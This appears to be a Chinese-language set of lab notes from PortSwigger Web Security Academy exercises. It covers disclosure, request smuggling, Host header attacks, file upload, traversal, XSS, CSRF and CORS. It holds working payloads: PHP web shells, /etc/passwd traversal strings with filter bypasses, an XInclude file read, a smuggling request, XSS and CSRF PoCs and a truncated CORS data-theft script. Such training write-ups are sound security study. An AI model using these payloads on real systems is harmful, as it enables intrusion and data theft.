Information disclosure
错误消息中的信息泄露
2.3.31
调试页面信息泄露
mdf8208gl1ove3d9gm38ghmgstx5gafs
通过备份文件泄露源代码
04uy5cvc79m0lx0o1t4k3oalnpdv1i1u
通过信息泄露绕过身份验证
TRACE 请求是一种http方法,它允许客户端要求服务器回显请求消息,并添加包含请求标头的消息正文
可以发现存在一个 X-Custom-IP-Authorization
X-Custom-IP-Authorization: 127.0.0.1
版本控制历史中的信息泄露
wget -r https://0a4b00bf04de640bc5e1659c00240091.web-security-academy.net/.git/
递归下载所有文件
下载个工具
http://git-cola.github.io/downloads.html
p80h2j3tbs6fn21fnp1c
HTTP request smuggling
HTTP 请求走私,基本 CL.TE 漏洞
payload
POST / HTTP/1.1Host: 0ace006a04195d25c1b4351c002400ec.web-security-academy.netConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 6Transfer-Encoding: chunked0G
其中的值
Connection: keep-alive 保持http的长连接 也就是说我们如果要发送两次http请求的话 都会使用一条tcp流
Content-Length: 6 其中这里的值为6 也就是说明我们前端是根据这个 Content-Length 的值来判读当前http请求结束的位置的 也就是前端会将这个请求全部接收
而Transfer-Encoding: chunked 则是指后端根据这个来进行划分http请求的位置 也就是说后端认为当出现 0 才代表http请求的中断
因此假如我们连续发送两个相同的数据包
前端
POST / ...
HTTP Host header attacks
基本密码重置中毒
尝试将发送邮件的这个域定义到我们自己的域上面
主机头身份验证绕过
Host: localhost
通过不明确的请求造成 Web 缓存中毒
尝试双host头
基于路由的 SSRF
/admin/delete?csrf=t5xbVcjSc62Y5nTrQdhEszGF4xxmOwqU&username=carlos
SSRF 通过有缺陷的请求解析
这里看到单纯更改 host已经不可行了
但是采用绝对路径却可行
https://0ae6006303969c6dc08b2c2100b20056.web-security-academy.net/admin/delete?csrf=p18xUNVEAj0h0ASMpEvsPvMqqcftQGIn&username=carlos
添加session重试
通过连接状态攻击绕过主机验证
可以看到被重定向了
GET / HTTP/1.1Host: 0a3300ef04358f1ac19a7b4a00be002d.web-security-academy.netC ...
File upload vulnerabilities
通过 web shell 上传远程代码执行
<?php echo file_get_contents('/home/carlos/secret'); ?>
通过内容类型限制绕过 Web shell 上传
<?php echo file_get_contents('/home/carlos/secret'); ?>
Content-Type: image/jpeg
通过路径遍历上传Web shell
<?php echo file_get_contents('/home/carlos/secret'); ?>
似乎没有执行 我们尝试上传到其他目录去
filename="../p.php"
filename="%2e%2e%2fp.php"
/files/p.php
Web shell 通过扩展黑名单绕过上传
<?php echo file_get_contents('/home/carlos/s ...
Essential skills
通过有针对性的扫描快速发现漏洞
找到这个
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude">+++++++<xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/passwd"/></foo>
DOM-based vulnerabilities
使用网络消息的 DOM XSS
<script> window.addEventListener('message', function (e) { //e代表event事件 document.getElementById('ads').innerHTML = e.data; })</script>
IFrame消息传递http://runxinzhi.com/ms-grf-p-11545290.html
<iframe src="https://0a2f00890488e7a6c0f2c14d008b00e0.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
使用网络消息和 JavaScript U ...
Directory traversal
文件路径遍历,简单案例
../../../../etc/passwd
文件路径遍历,绕过绝对路径阻塞的遍历序列
../../../../etc/passwd
绝对路径可以执行
/etc/passwd
文件路径遍历,非递归剥离遍历序列
..././..././..././..././..././etc/passwd
文件路径遍历,使用多余的 URL 解码去除的遍历序列
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e/etc/passwd
文件路径遍历,路径开始验证
/var/www/images/../../../etc/passwd
文件路径遍历,使用空字节旁路验证文件扩展名
../../../../etc/passwd%00.png
Cross-site scripting
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
XSS反射(1)
<script>alert(/1/)</script>
存储(2)这里需要先存储xss到数据库接着查看
dom(3)这里是使用的 dom
这里先进行
可以看到这里多了一段代码
<script> function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSe ...
Cross-site request forgery
没有防御的 CSRF 漏洞(1)
给了个账号 我们先登进去
存在一个更改邮箱的页面 我们可以看到没有任何的防护 说明是存在csrf漏洞的
我们可以选择自己写html文件 也可以使用burp自带的工具来生成
可以选择自动提交
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a6b008c04c81b0fc0979ae1008f0096.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="emai ...
Cross-origin resource sharing
具有基本原点反射的 CORS 漏洞
可以看到获取用户敏感信息的请求 而这个请求是在我们登录之后它 自行访问的 当然也就是经过js代码出去的请求 并且观察响应头可以发现存在 Access-Control-Allow-Credentials: true
我们这里随意添加一个 Origin头 观察响应 发信息接收了请求 并且由于存在 Access-Control-Allow-Credentials: true 代表了可以发送cookie 也就是验证用户的身份 那么这里就造成一个问题
如果我们伪造一个服务器托管上恶意的js代码 模仿这个请求去访问用户的数据. 当然如果我们自己访问这个网站当然是没有危害的 但是我们可以使用和csrf类似的攻击方式 让受害者去访问这个页面 接着我们就可以拿到受害者的敏感信息
<script> var req = new XMLHttpRequest(); req.onload = reqListener; // 当http请求完成后会调用这个函数 req.open('get','https: ...